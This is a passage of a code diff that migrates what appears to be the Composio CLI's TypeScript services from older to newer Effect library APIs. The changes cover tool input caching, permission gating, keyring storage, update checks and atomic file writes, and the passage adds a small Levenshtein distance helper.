30 const decodeCachedToolInputDefinitionEnvelope = Schema.decodeUnknownOption(
31 CachedToolInputDefinitionEnvelope
32 );
@@ -119,8 +118,8 @@ export const getCachedToolInputDefinition = (slug: string) =>
118 const raw = yield* fs
119 .readFileString(schemaPath, 'utf8')
120 .pipe(
122 - Effect.catchTag('SystemError', error =>
123 - error.reason === 'NotFound' ? Effect.succeed(null) : Effect.fail(error)
121 + Effect.catchTag('PlatformError', error =>
122 + Predicate.isTagged(error.reason, 'NotFound') ? Effect.succeed(null) : Effect.fail(error)
123 )
124 );
125 if (raw === null) {
@@ -179,8 +178,8 @@ export const invalidateToolInputDefinition = (slug: string) =>
178 yield* fs
179 .remove(schemaPath)
180 .pipe(
182 - Effect.catchTag('SystemError', error =>
183 - error.reason === 'NotFound' ? Effect.void : Effect.fail(error)
181 + Effect.catchTag('PlatformError', error =>
182 + Predicate.isTagged(error.reason, 'NotFound') ? Effect.void : Effect.fail(error)
183 )
184 );
185 });
@@ -243,9 +242,7 @@ const fetchAndCacheToolInputDefinition = (
242 const [tool, latestVersion] = yield* Effect.all(
243 [
244 repo.getToolDetailed(slug),
246 - fetchResolvedLatestToolVersion(slug, params).pipe(
247 - Effect.catchAll(() => Effect.succeed(null))
248 - ),
245 + fetchResolvedLatestToolVersion(slug, params).pipe(Effect.catch(() => Effect.succeed(null))),
246 ],
247 { concurrency: 2 }
248 );
@@ -291,7 +288,7 @@ export const getOrFetchToolInputDefinition = (
288 cached.version,
289 params
290 ).pipe(
294 - Effect.catchAll(() =>
291 + Effect.catch(() =>
292 Effect.succeed({
293 isStale: false,
294 latestVersion: cached.version,
@@ -363,7 +360,23 @@ const getObjectSchemaProperties = (schema: Record<string, unknown>): ReadonlyArr
360
361 const normalizeKey = (value: string) => value.toLowerCase().replace(/[^a-z0-9]/g, '');
362
366 -const schemaKeySuggestionConfig = CliConfig.defaultConfig;
363 +/** Simple Levenshtein distance (small N, no perf worries). */
364 +const levenshteinDistance = (a: string, b: string): number => {
365 + const m = a.length;
366 + const n = b.length;
367 + const dp: Array<Array<number>> = Array.from({ length: m + 1 }, () =>
368 + Array.from({ length: n + 1 }, () => 0)
369 + );
370 + for (let i = 0; i <= m; i++) dp[i][0] = i;
371 + for (let j = 0; j <= n; j++) dp[0][j] = j;
372 + for (let i = 1; i <= m; i++) {
373 + for (let j = 1; j <= n; j++) {
374 + const cost = a[i - 1] === b[j - 1] ? 0 : 1;
375 + dp[i][j] = Math.min(dp[i - 1][j] + 1, dp[i][j - 1] + 1, dp[i - 1][j - 1] + cost);
376 + }
377 + }
378 + return dp[m][n];
379 +};
380
381 type SchemaKeyCandidate = {
382 readonly key: string;
@@ -381,11 +394,7 @@ const findClosestSchemaKey = (
394
395 const closest = allowedKeys.reduce<SchemaKeyCandidate | undefined>((best, key) => {
396 const normalizedKey = normalizeKey(key);
384 - const distance = AutoCorrect.levensteinDistance(
385 - normalizedUnknownKey,
386 - normalizedKey,
387 - schemaKeySuggestionConfig
388 - );
397 + const distance = levenshteinDistance(normalizedUnknownKey, normalizedKey);
398 const containsBonus =
399 normalizedKey.includes(normalizedUnknownKey) || normalizedUnknownKey.includes(normalizedKey)
400 ? -2
@@ -473,9 +482,9 @@ export const validateToolInputArgumentsWithDefinition = (
482 }),
483 });
484
476 - yield* Schema.decodeUnknown(inputSchema, { errors: 'all' })(args).pipe(
485 + yield* Schema.decodeUnknownEffect(inputSchema, { errors: 'all' })(args).pipe(
486 Effect.mapError(error => {
478 - const issues = ParseResult.ArrayFormatter.formatErrorSync(error).map(
487 + const issues = SchemaIssue.makeFormatterStandardSchemaV1()(error.issue).issues.map(
488 issue => issue.message
489 );
490 return new ToolInputValidationError({ toolSlug: slug, schemaPath, issues, cause: error });
ts/packages/cli/src/services/tool-permissions.ts
+41 -31
@@ -1,9 +1,17 @@
1 import http from 'node:http';
2 -import * as FileSystem from '@effect/platform/FileSystem';
3 -import * as Path from '@effect/platform/Path';
2 +import * as FileSystem from 'effect/FileSystem';
3 +import * as Path from 'effect/Path';
4 import open from 'open';
5 import { detectCliPlatform } from '@composio/cli-local-tools';
6 -import { Data, Effect, Option, Record as EffectRecord, Schema } from 'effect';
6 +import {
7 + Data,
8 + Effect,
9 + Option,
10 + Record as EffectRecord,
11 + Schema,
12 + SchemaTransformation,
13 + Semaphore,
14 +} from 'effect';
15 import { JsonRecordSchema } from 'src/effects/json';
16 import { setupCacheDir } from 'src/effects/setup-cache-dir';
17 import { atomicWriteFileString } from 'src/utils/atomic-write';
@@ -35,17 +43,17 @@ export type PermissionApprovalStatus =
43 export type PermissionGateResult =
44 { readonly approvalStatus: PermissionApprovalStatus } | undefined;
45
38 -const PermissionDefaultModeLiteralSchema = Schema.Literal(
46 +const PermissionDefaultModeLiteralSchema = Schema.Literals([
47 'allow_all',
48 'ask_every_call',
41 - 'ask_once_per_session'
42 -);
43 -const PermissionOverrideStateLiteralSchema = Schema.Literal(
49 + 'ask_once_per_session',
50 +]);
51 +const PermissionOverrideStateLiteralSchema = Schema.Literals([
52 'always_allow',
53 'always_deny',
54 'ask_once',
47 - 'ask_always'
48 -);
55 + 'ask_always',
56 +]);
57 const isPermissionDefaultMode = Schema.is(PermissionDefaultModeLiteralSchema);
58 const isPermissionOverrideState = Schema.is(PermissionOverrideStateLiteralSchema);
59
@@ -53,24 +61,26 @@ const isPermissionOverrideState = Schema.is(PermissionOverrideStateLiteralSchema
61 // Preserve validation without failing open during that version-skew window:
62 // unknown defaults and overrides decode to their interactive safe equivalents.
63 const PermissionDefaultModeSchema = Schema.String.pipe(
56 - Schema.transform(PermissionDefaultModeLiteralSchema, {
57 - decode: value => (isPermissionDefaultMode(value) ? value : 'ask_every_call'),
58 - encode: value => value,
59 - strict: true,
60 - })
64 + Schema.decodeTo(
65 + PermissionDefaultModeLiteralSchema,
66 + SchemaTransformation.transform({
67 + decode: value => (isPermissionDefaultMode(value) ? value : 'ask_every_call'),
68 + encode: value => value,
69 + })
70 + )
71 );
72 const PermissionOverrideStateSchema = Schema.String.pipe(
63 - Schema.transform(PermissionOverrideStateLiteralSchema, {
64 - decode: value => (isPermissionOverrideState(value) ? value : 'ask_always'),
65 - encode: value => value,
66 - strict: true,
67 - })
73 + Schema.decodeTo(
74 + PermissionOverrideStateLiteralSchema,
75 + SchemaTransformation.transform({
76 + decode: value => (isPermissionOverrideState(value) ? value : 'ask_always'),
77 + encode: value => value,
78 + })
79 + )
80 );
81 const ToolRouterPermissionsConfigSchema = Schema.Struct({
82 default: PermissionDefaultModeSchema,
71 - overrides: Schema.optional(
72 - Schema.Record({ key: Schema.String, value: PermissionOverrideStateSchema })
73 - ),
83 + overrides: Schema.optional(Schema.Record(Schema.String, PermissionOverrideStateSchema)),
84 });
85 export const decodeToolRouterPermissionsConfig = Schema.decodeUnknownOption(
86 ToolRouterPermissionsConfigSchema
@@ -108,7 +118,7 @@ type CacheFile = {
118 };
119 type ConsumerConfigResponse = typeof ConsumerConfigResponseSchema.Type;
120 const decodeCacheShell = Schema.decodeUnknownOption(
111 - Schema.parseJson(
121 + Schema.fromJsonString(
122 Schema.Struct({
123 entries: Schema.optional(JsonRecordSchema),
124 allowEntries: Schema.optional(JsonRecordSchema),
@@ -236,7 +246,7 @@ const writeCacheFile = (
246 // Serializes the read-modify-write cycles on the cache file so concurrent
247 // writers cannot interleave (the same role the previous promise write queue
248 // played for the plain async helpers).
239 -const cacheWriteSemaphore = Effect.unsafeMakeSemaphore(1);
249 +const cacheWriteSemaphore = Semaphore.makeUnsafe(1);
250
251 const updateCacheFile = (
252 fs: FileSystem.FileSystem,
@@ -291,8 +301,8 @@ const isFreshForAccounts = (
301 const readEnhancedControlsFlag = (payload: ConsumerConfigResponse): boolean =>
302 payload.enhanced_controls === true || payload.enhancedControls === true;
303
294 -const fetchJson = async <A, I>(
295 - responseSchema: Schema.Schema<A, I, never>,
304 +const fetchJson = async <S extends Schema.ConstraintDecoder<unknown>>(
305 + responseSchema: S,
306 {
307 baseURL,
308 apiKey,
@@ -310,7 +320,7 @@ const fetchJson = async <A, I>(
320 readonly method?: 'GET' | 'POST';
321 readonly body?: unknown;
322 }
313 -): Promise<A> => {
323 +): Promise<S['Type']> => {
324 const response = await fetch(`${normalizeBaseUrl(baseURL)}${path}`, {
325 method,
326 redirect: 'error',
@@ -428,7 +438,7 @@ export const refreshConsumerPermissionSnapshot = (params: {
438 // on the next command instead of pinning ask_every_call for the TTL.
439 if (!resolved.resolveFailed) {
440 yield* writeCacheEntry(fs, path, cacheDirectory, snapshot).pipe(
431 - Effect.catchAll(cause =>
441 + Effect.catch(cause =>
442 Effect.logDebug(
443 'Failed to write the tool permissions cache',
444 new ToolPermissionsCacheError({
@@ -467,8 +477,8 @@ export const getConsumerPermissionSnapshot = (params: {
477
478 if (isFreshForAccounts(cached, connectedAccountIds)) {
479 yield* refreshConsumerPermissionSnapshot({ ...params, connectedAccountIds }).pipe(
470 - Effect.forkDaemon,
471 - Effect.catchAll(() => Effect.void)
480 + Effect.forkDetach,
481 + Effect.catch(() => Effect.void)
482 );
483 return cached;
484 }
@@ -1120,7 +1130,7 @@ export const gateToolExecution = (params: GateParams) =>
1130 const cachesAllowOnce = state === 'ask_once' || state === 'ask_once_per_session';
1131 if (decision === 'allow_session' || (cachesAllowOnce && decision === 'allow_once')) {
1132 yield* cacheAllowDecision(fs, path, cacheDirectory, cacheKey).pipe(
1123 - Effect.catchAll(cause =>
1133 + Effect.catch(cause =>
1134 Effect.logDebug(
1135 'Failed to cache tool permission allow decision',
1136 new ToolPermissionsCacheError({
ts/packages/cli/src/services/tool-router-session-connections.ts
+1 -1
@@ -168,7 +168,7 @@ export const resolveToolRouterSessionConnections = (
168 : Effect.void
169 ),
170 Effect.map(({ context }) => context),
171 - Effect.catchAll(() =>
171 + Effect.catch(() =>
172 Effect.succeed({
173 connectedToolkits: [],
174 authConfigs: undefined,
ts/packages/cli/src/services/toolkit-slug-catalog.ts
+6 -9
@@ -52,15 +52,12 @@ const refreshInBackgroundIfStale = (learned: Option.Option<KnownToolkitSlugs>) =
52 const isFresh = Option.match(learned, {
53 onNone: () => false,
54 onSome: known =>
55 - Duration.lessThan(
56 - Duration.millis(DateTime.distance(known.refreshedAt, now)),
57 - REFRESH_AFTER
58 - ),
55 + Duration.isLessThan(DateTime.distance(known.refreshedAt, now), REFRESH_AFTER),
56 });
57
58 if (isFresh) return;
59
63 - yield* Effect.forkDaemon(refreshKnownToolkitSlugs);
60 + yield* Effect.forkDetach(refreshKnownToolkitSlugs);
61 });
62
63 /**
@@ -115,17 +112,17 @@ const makeToolkitSlugCatalog = Effect.gen(function* () {
112 Effect.gen(function* () {
113 const alreadyRecorded = yield* Ref.getAndSet(hasRecorded, true);
114 if (alreadyRecorded) return;
118 - yield* Effect.forkDaemon(writeKnownToolkitSlugs(slugs));
115 + yield* Effect.forkDetach(writeKnownToolkitSlugs(slugs));
116 });
117
118 return { local, remember };
119 });
120
124 -export type ToolkitSlugCatalogShape = Effect.Effect.Success<typeof makeToolkitSlugCatalog>;
121 +export type ToolkitSlugCatalogShape = Effect.Success<typeof makeToolkitSlugCatalog>;
122
126 -export class ToolkitSlugCatalog extends Context.Tag('services/ToolkitSlugCatalog')<
123 +export class ToolkitSlugCatalog extends Context.Service<
124 ToolkitSlugCatalog,
125 ToolkitSlugCatalogShape
129 ->() {
126 +>()('services/ToolkitSlugCatalog') {
127 static readonly Default = Layer.effect(ToolkitSlugCatalog, makeToolkitSlugCatalog);
128 }
ts/packages/cli/src/services/tools-executor.ts
+5 -5
@@ -1,5 +1,5 @@
1 -import * as FileSystem from '@effect/platform/FileSystem';
2 -import * as Path from '@effect/platform/Path';
1 +import * as FileSystem from 'effect/FileSystem';
2 +import * as Path from 'effect/Path';
3 import { Context, Data, Effect, Layer } from 'effect';
4 import type { Composio } from '@composio/client';
5 import { executeLocalToolBySlug, resolveLocalTool } from '@composio/cli-local-tools';
@@ -74,7 +74,7 @@ export interface ToolsExecutor {
74 >;
75 }
76
77 -export const ToolsExecutor = Context.GenericTag<ToolsExecutor>('services/ToolsExecutor');
77 +export const ToolsExecutor = Context.Service<ToolsExecutor>('services/ToolsExecutor');
78
79 export class LocalToolsDisabledError extends Data.TaggedError('services/LocalToolsDisabledError')<{
80 readonly toolSlug: string;
@@ -200,7 +200,7 @@ export const ToolsExecutorLive = Layer.effect(
200 const normalizedArguments = isMetaToolSlug(slug)
201 ? params.arguments
202 : yield* getOrFetchToolInputDefinition(slug).pipe(
203 - Effect.catchAll(() => Effect.succeed(null)),
203 + Effect.catch(() => Effect.succeed(null)),
204 Effect.flatMap(definition => {
205 if (!definition) {
206 return Effect.succeed(params.arguments);
@@ -251,7 +251,7 @@ export const ToolsExecutorLive = Layer.effect(
251
252 return normalizeResponse(raw, permissionGateResult);
253 }).pipe(
254 - Effect.catchAll(error =>
254 + Effect.catch(error =>
255 toolkitFromToolSlug(slug).pipe(
256 Effect.flatMap(toolkitSlug => {
257 const mapped = mapComposioError({ error, toolkit: toolkitSlug, toolSlug: slug });
ts/packages/cli/src/services/triggers-realtime.ts
+11 -13
@@ -2,10 +2,9 @@ import {
2 Array as Arr,
3 Data,
4 Effect,
5 - Either,
5 + Result,
6 Option,
7 Predicate,
8 - Runtime,
8 Schema,
9 Context,
10 Layer,
@@ -90,7 +89,7 @@ export const resolvePusherConstructor = (
89 const makeTriggersRealtime = Effect.gen(function* () {
90 const sessionRepo = yield* ComposioSessionRepository;
91 const clientSingleton = yield* ComposioClientSingleton;
93 - const runtime = yield* Effect.runtime<never>();
92 + const services = yield* Effect.context<never>();
93
94 const listenWith = (params: {
95 getRealtimeCredentials: () => Effect.Effect<
@@ -113,7 +112,7 @@ const makeTriggersRealtime = Effect.gen(function* () {
112 catch: subscriptionError('Failed to load the realtime client'),
113 });
114
116 - const Pusher = yield* resolvePusherConstructor(pusherModule).pipe(
115 + const Pusher = yield* Effect.fromOption(resolvePusherConstructor(pusherModule)).pipe(
116 Effect.mapError(subscriptionError('Realtime client module does not expose a constructor'))
117 );
118
@@ -127,7 +126,7 @@ const makeTriggersRealtime = Effect.gen(function* () {
126 const socket_id = authOptions.socketId;
127
128 const doAuth = async () => {
130 - const response = await Runtime.runPromise(runtime)(
129 + const response = await Effect.runPromiseWith(services)(
130 params.authRealtimeChannel({
131 channel_name,
132 socket_id,
@@ -246,8 +245,8 @@ const makeTriggersRealtime = Effect.gen(function* () {
245 chunkedEvents.delete(typed.id);
246 // Silently discard events that fail to parse after chunk
247 // reassembly; the buffer entry is already cleared either way.
249 - const parsed = Either.try((): unknown => JSON.parse(reassembled)).pipe(
250 - Either.getRight,
248 + const parsed = Result.try((): unknown => JSON.parse(reassembled)).pipe(
249 + Result.getSuccess,
250 Option.flatMap(decodeRawRealtimeEvent)
251 );
252 if (Option.isSome(parsed)) {
@@ -270,7 +269,7 @@ const makeTriggersRealtime = Effect.gen(function* () {
269 Effect.tryPromise({
270 try: () => resource.shutdown(),
271 catch: subscriptionError('Failed to shut down the realtime subscription'),
273 - }).pipe(Effect.catchAll(() => Effect.void))
272 + }).pipe(Effect.catch(() => Effect.void))
273 );
274
275 const listen = (onEvent: (data: RawRealtimeEvent) => void) =>
@@ -314,12 +313,11 @@ const makeTriggersRealtime = Effect.gen(function* () {
313 return { listen, listenInProject };
314 });
315
317 -export type TriggersRealtimeShape = Effect.Effect.Success<typeof makeTriggersRealtime>;
316 +export type TriggersRealtimeShape = Effect.Success<typeof makeTriggersRealtime>;
317
319 -export class TriggersRealtime extends Context.Tag('services/TriggersRealtime')<
320 - TriggersRealtime,
321 - TriggersRealtimeShape
322 ->() {
318 +export class TriggersRealtime extends Context.Service<TriggersRealtime, TriggersRealtimeShape>()(
319 + 'services/TriggersRealtime'
320 +) {
321 static readonly Default = Layer.effect(TriggersRealtime, makeTriggersRealtime).pipe(
322 Layer.provide(
323 Layer.mergeAll(ComposioSessionRepository.Default, ComposioClientSingleton.Default)
ts/packages/cli/src/services/update-check.ts
+7 -7
@@ -1,5 +1,5 @@
1 -import * as FileSystem from '@effect/platform/FileSystem';
2 -import * as Path from '@effect/platform/Path';
1 +import * as FileSystem from 'effect/FileSystem';
2 +import * as Path from 'effect/Path';
3 import * as BunFileSystem from '@effect/platform-bun/BunFileSystem';
4 import { Config, Data, Effect, Layer, Option, Predicate, Schema } from 'effect';
5 import semver from 'semver';
@@ -48,14 +48,14 @@ export interface UpdateStatus {
48 lastChecked: string | null;
49 }
50
51 -const UpdateCheckStateSchema = Schema.parseJson(
51 +const UpdateCheckStateSchema = Schema.fromJsonString(
52 Schema.Struct({
53 lastChecked: Schema.String,
54 latestVersion: Schema.String,
55 })
56 );
57
58 -const UpdateCheckAttemptSchema = Schema.parseJson(
58 +const UpdateCheckAttemptSchema = Schema.fromJsonString(
59 Schema.Struct({
60 lastAttempted: Schema.String,
61 })
@@ -127,7 +127,7 @@ export function parseLatestVersionFromReleases(
127
128 let latest: string | undefined;
129 for (const release of releases) {
130 - if (!Predicate.isRecord(release)) continue;
130 + if (!Predicate.isObject(release)) continue;
131
132 const candidate = release;
133 if (typeof candidate.tag_name !== 'string') continue;
@@ -159,13 +159,13 @@ export function createUpdateChecker(config: UpdateCheckConfig) {
159 const readState = Effect.gen(function* () {
160 const fs = yield* FileSystem.FileSystem;
161 const rawState = yield* fs.readFileString(config.stateFile);
162 - return yield* Schema.decodeUnknown(UpdateCheckStateSchema)(rawState);
162 + return yield* Schema.decodeUnknownEffect(UpdateCheckStateSchema)(rawState);
163 });
164
165 const readAttempt = Effect.gen(function* () {
166 const fs = yield* FileSystem.FileSystem;
167 const rawAttempt = yield* fs.readFileString(attemptFile);
168 - return yield* Schema.decodeUnknown(UpdateCheckAttemptSchema)(rawAttempt);
168 + return yield* Schema.decodeUnknownEffect(UpdateCheckAttemptSchema)(rawAttempt);
169 });
170
171 /**
ts/packages/cli/src/services/upgrade-binary.ts
+15 -17
@@ -11,10 +11,9 @@ import {
11 Context,
12 Layer,
13 } from 'effect';
14 -import * as HttpClient from '@effect/platform/HttpClient';
15 -import * as HttpClientResponse from '@effect/platform/HttpClientResponse';
16 -import * as FileSystem from '@effect/platform/FileSystem';
17 -import * as Path from '@effect/platform/Path';
14 +import { HttpClient, HttpClientResponse } from 'effect/unstable/http';
15 +import * as FileSystem from 'effect/FileSystem';
16 +import * as Path from 'effect/Path';
17 import { APP_VERSION } from '../constants';
18 import { DEBUG_OVERRIDE_CONFIG } from 'src/effects/debug-config';
19 import { GITHUB_CONFIG } from 'src/effects/github-config';
@@ -64,7 +63,7 @@ interface UpgradeBinaryContext {
63 readonly httpClient: HttpClient.HttpClient;
64 readonly fs: FileSystem.FileSystem;
65 readonly path: Path.Path;
67 - readonly githubConfig: Config.Config.Success<typeof GITHUB_CONFIG_ALL>;
66 + readonly githubConfig: Config.Success<typeof GITHUB_CONFIG_ALL>;
67 }
68
69 /**
@@ -93,9 +92,9 @@ const fetchGitHubRelease = (
92 if (response.status < 200 || response.status >= 300) {
93 const pretty = yield* response.json.pipe(
94 Effect.map(json =>
96 - Predicate.isRecord(json) ? renderPrettyError(EffectRecord.toEntries(json)) : ''
95 + Predicate.isObject(json) ? renderPrettyError(EffectRecord.toEntries(json)) : ''
96 ),
98 - Effect.catchAll(() => Effect.succeed(''))
97 + Effect.catch(() => Effect.succeed(''))
98 );
99
100 const cause = pretty ? `HTTP ${response.status}\n${pretty}` : `HTTP ${response.status}`;
@@ -356,14 +355,14 @@ const fetchChecksums = (
355
356 const response = yield* httpClient
357 .get(checksumsAsset.browser_download_url)
359 - .pipe(Effect.catchAll(() => Effect.succeed(null)));
358 + .pipe(Effect.catch(() => Effect.succeed(null)));
359
360 if (!response || response.status < 200 || response.status >= 300) {
361 yield* Effect.logDebug('Failed to download checksums.txt');
362 return Option.none();
363 }
364
366 - const text = yield* response.text.pipe(Effect.catchAll(() => Effect.succeed('')));
365 + const text = yield* response.text.pipe(Effect.catch(() => Effect.succeed('')));
366 if (!text) {
367 return Option.none();
368 }
@@ -450,7 +449,7 @@ const extractBinary = (
449 });
450
451 // Check if binary exists
453 - const exists = yield* fs.exists(binaryPath).pipe(Effect.catchAll(() => Effect.succeed(false)));
452 + const exists = yield* fs.exists(binaryPath).pipe(Effect.catch(() => Effect.succeed(false)));
453
454 if (!exists) {
455 return yield* Effect.fail(
@@ -537,7 +536,7 @@ const replaceBinary = (
536 const sourceCompanion = path.join(sourceDirectory, relativePath);
537 const sourceExists = yield* fs
538 .exists(sourceCompanion)
540 - .pipe(Effect.catchAll(() => Effect.succeed(false)));
539 + .pipe(Effect.catch(() => Effect.succeed(false)));
540
541 if (!sourceExists) {
542 return yield* Effect.fail(
@@ -558,7 +557,7 @@ const replaceBinary = (
557 const localToolsAssetSource = path.join(sourceDirectory, LOCAL_TOOLS_BINARY_ASSET_DIRNAME);
558 const localToolsAssetExists = yield* fs
559 .exists(localToolsAssetSource)
561 - .pipe(Effect.catchAll(() => Effect.succeed(false)));
560 + .pipe(Effect.catch(() => Effect.succeed(false)));
561 const localToolsAssetTarget = path.join(targetDirectory, LOCAL_TOOLS_BINARY_ASSET_DIRNAME);
562
563 const releaseTag = options.releaseTag;
@@ -743,12 +742,11 @@ const makeUpgradeBinary = Effect.gen(function* () {
742 } as const;
743 });
744
746 -export type UpgradeBinaryShape = Effect.Effect.Success<typeof makeUpgradeBinary>;
745 +export type UpgradeBinaryShape = Effect.Success<typeof makeUpgradeBinary>;
746
748 -export class UpgradeBinary extends Context.Tag('services/UpgradeBinary')<
749 - UpgradeBinary,
750 - UpgradeBinaryShape
751 ->() {
747 +export class UpgradeBinary extends Context.Service<UpgradeBinary, UpgradeBinaryShape>()(
748 + 'services/UpgradeBinary'
749 +) {
750 static readonly Default = Layer.effect(UpgradeBinary, makeUpgradeBinary).pipe(
751 Layer.provide(Path.layer)
752 );
ts/packages/cli/src/services/user-context.ts
+20 -18
@@ -1,6 +1,6 @@
1 -import * as FileSystem from '@effect/platform/FileSystem';
2 -import * as Path from '@effect/platform/Path';
3 -import { Effect, Context, Layer, Option, Predicate, Schema } from 'effect';
1 +import * as FileSystem from 'effect/FileSystem';
2 +import * as Path from 'effect/Path';
3 +import { Effect, Context, Layer, Option, PlatformError, Predicate, Schema } from 'effect';
4 import {
5 type UserDataWithDefaults,
6 UserData,
@@ -10,8 +10,6 @@ import {
10 import { JsonRecordSchema } from 'src/effects/json';
11 import { setupCacheDir } from 'src/effects/setup-cache-dir';
12 import * as constants from 'src/constants';
13 -import type { PlatformError } from '@effect/platform/Error';
14 -import type { ParseError } from 'effect/ParseResult';
13 import { APP_CONFIG } from 'src/effects/app-config';
14 import { KeyringService, KeyringLiveWithBackend } from '@composio/cli-keyring/effect';
15 import type { KeyringServiceShape } from '@composio/cli-keyring/effect';
@@ -29,7 +27,9 @@ import { redactSensitiveLogValue } from 'src/utils/redact-sensitive';
27 */
28 const KEYRING_SERVICE = 'com.composio.cli';
29 const KEYRING_USER = 'default';
32 -const decodeUserDataJsonObject = Schema.decodeUnknown(Schema.parseJson(JsonRecordSchema));
30 +const decodeUserDataJsonObject = Schema.decodeUnknownEffect(
31 + Schema.fromJsonString(JsonRecordSchema)
32 +);
33
34 const normalizeEncodedUserData = (encoded: string, omitApiKey: boolean) =>
35 Effect.gen(function* () {
@@ -62,7 +62,7 @@ const writeKeyring = (deps: KeyringDeps, password: string) =>
62 if (deps.useLegacyStorage) return false;
63 return yield* deps.keyring.setPassword(KEYRING_SERVICE, KEYRING_USER, password).pipe(
64 Effect.map(() => true),
65 - Effect.catchAll(err =>
65 + Effect.catch(err =>
66 Effect.gen(function* () {
67 if (err instanceof KeyringError && err.kind === 'NoStorageAccess') {
68 yield* Effect.logDebug(
@@ -91,7 +91,7 @@ const readKeyring = (deps: KeyringDeps) =>
91 if (deps.useLegacyStorage) return Option.none<string>();
92 return yield* deps.keyring.getPassword(KEYRING_SERVICE, KEYRING_USER).pipe(
93 Effect.map(Option.some),
94 - Effect.catchAll(err =>
94 + Effect.catch(err =>
95 Effect.gen(function* () {
96 if (err instanceof KeyringError && err.kind === 'NoEntry') {
97 yield* Effect.logDebug('No keyring entry found for Composio API key');
@@ -124,7 +124,7 @@ const deleteKeyring = (deps: KeyringDeps) =>
124 Effect.gen(function* () {
125 if (deps.useLegacyStorage) return;
126 yield* deps.keyring.deleteCredential(KEYRING_SERVICE, KEYRING_USER).pipe(
127 - Effect.catchAll(err =>
127 + Effect.catch(err =>
128 Effect.gen(function* () {
129 if (
130 err instanceof KeyringError &&
@@ -145,20 +145,22 @@ const deleteKeyring = (deps: KeyringDeps) =>
145 // Service definition
146 // -----------------------------------------------------------------------------
147
148 -export class ComposioUserContext extends Context.Tag('ComposioUserData')<
148 +export class ComposioUserContext extends Context.Service<
149 ComposioUserContext,
150 {
151 readonly data: UserDataWithDefaults;
152 isLoggedIn: () => boolean;
153 - logout: Effect.Effect<void, ParseError | PlatformError, never>;
153 + logout: Effect.Effect<void, Schema.SchemaError | PlatformError.PlatformError, never>;
154 login: (
155 apiKey: string,
156 orgId?: string,
157 testUserId?: string
158 - ) => Effect.Effect<void, ParseError | PlatformError, never>;
159 - update: (data: UserData) => Effect.Effect<void, ParseError | PlatformError, never>;
158 + ) => Effect.Effect<void, Schema.SchemaError | PlatformError.PlatformError, never>;
159 + update: (
160 + data: UserData
161 + ) => Effect.Effect<void, Schema.SchemaError | PlatformError.PlatformError, never>;
162 }
161 ->() {}
163 +>()('ComposioUserData') {}
164
165 export const rawComposioUserContextLive = Layer.effect(
166 ComposioUserContext,
@@ -228,9 +230,9 @@ export const rawComposioUserContextLive = Layer.effect(
230 apiKey: Option.some(apiKey),
231 baseURL: Option.some(baseURL),
232 webURL: Option.some(webURL),
231 - orgId: Option.fromNullable(orgId),
233 + orgId: Option.fromNullishOr(orgId),
234 projectId: userData.projectId,
233 - testUserId: Option.fromNullable(testUserId),
235 + testUserId: Option.fromNullishOr(testUserId),
236 };
237 userData = next;
238
@@ -294,7 +296,7 @@ export const rawComposioUserContextLive = Layer.effect(
296 if (yield* fs.exists(jsonUserConfigPath)) {
297 yield* Effect.logDebug('User data file exists, loading it');
298 yield* load.pipe(
297 - Effect.catchAll(error =>
299 + Effect.catch(error =>
300 Effect.gen(function* () {
301 yield* Effect.logDebug(
302 'Failed to load user data file (empty or corrupted), resetting to defaults:',
@@ -375,7 +377,7 @@ const resolveMacOSBackend = (
377 * subprocess path (default); `"keychain"` opts into the experimental
378 * FFI path (requires Developer ID-signed binary to avoid dialogs).
379 */
378 -export const ComposioUserContextLive = Layer.unwrapEffect(
380 +export const ComposioUserContextLive = Layer.unwrap(
381 Effect.gen(function* () {
382 const cliConfig = yield* ComposioCliUserConfig;
383 const backend = resolveMacOSBackend(cliConfig.data.security);
ts/packages/cli/src/type-utils.ts
+10 -2
@@ -1,4 +1,12 @@
1 -import type { Command } from '@effect/cli';
1 +import type { Command } from 'effect/unstable/cli';
2
3 export type GetCmdParams<T> =
4 - T extends Command.Command<infer _Name extends string, unknown, unknown, infer P> ? P : never;
4 + T extends Command.Command<
5 + infer _Name extends string,
6 + infer P,
7 + infer _ContextInput,
8 + infer _E,
9 + infer _R
10 + >
11 + ? P
12 + : never;
ts/packages/cli/src/utils/atomic-replace.ts
+3 -5
@@ -1,6 +1,4 @@
1 -import * as FileSystem from '@effect/platform/FileSystem';
2 -import * as Path from '@effect/platform/Path';
3 -import { Data, Effect, Scope } from 'effect';
1 +import { Data, Effect, FileSystem, Path, Scope } from 'effect';
2
3 export class AtomicReplaceError extends Data.TaggedError('utils/AtomicReplaceError')<{
4 readonly targetPath: string;
@@ -105,7 +103,7 @@ export const atomicReplaceDirectory = ({
103 fs
104 .remove(recoveryDirectory, { recursive: true })
105 .pipe(
108 - Effect.catchAll(cause =>
106 + Effect.catch(cause =>
107 Effect.logWarning(
108 `Published replacement at ${targetPath}; previous contents remain at ${asidePath}: ${String(cause)}`
109 )
@@ -117,7 +115,7 @@ export const atomicReplaceDirectory = ({
115 onSuccess: () =>
116 fs
117 .remove(recoveryDirectory, { recursive: true })
120 - .pipe(Effect.zipRight(Effect.fail(publishCause))),
118 + .pipe(Effect.andThen(Effect.fail(publishCause))),
119 onFailure: restoreCause =>
120 Effect.fail(
121 new AtomicReplaceError({
ts/packages/cli/src/utils/atomic-write.ts
+12 -14
@@ -11,9 +11,8 @@
11 * original error propagates, so no tmp litter is left next to the target.
12 */
13
14 -import type * as FileSystem from '@effect/platform/FileSystem';
15 -import type { PlatformError } from '@effect/platform/Error';
16 -import { Effect, Either, Option, Predicate } from 'effect';
14 +import type { FileSystem, PlatformError } from 'effect';
15 +import { Effect, Option, Predicate, Result } from 'effect';
16
17 const MAX_ATOMIC_WRITE_ATTEMPTS = 5;
18
@@ -35,32 +34,30 @@ export const atomicWriteFileString = (params: {
34 * exist (or `preserveMode` is false) the tmp is created with default mode.
35 */
36 readonly preserveMode?: boolean;
38 -}): Effect.Effect<void, PlatformError> =>
37 +}): Effect.Effect<void, PlatformError.PlatformError> =>
38 Effect.gen(function* () {
39 const { fs, target, contents } = params;
40 const preservedMode = params.preserveMode
41 ? Option.map(yield* fs.stat(target).pipe(Effect.option), info => info.mode & 0o7777)
42 : Option.none<number>();
44 - const targetMode = Option.fromNullable(params.mode).pipe(Option.orElse(() => preservedMode));
45 - const stage = (attempt: number): Effect.Effect<string, PlatformError> =>
43 + const targetMode = Option.fromUndefinedOr(params.mode).pipe(Option.orElse(() => preservedMode));
44 + const stage = (attempt: number): Effect.Effect<string, PlatformError.PlatformError> =>
45 Effect.gen(function* () {
46 const tmpPath = atomicTmpPath(target);
47 const created = yield* Option.match(targetMode, {
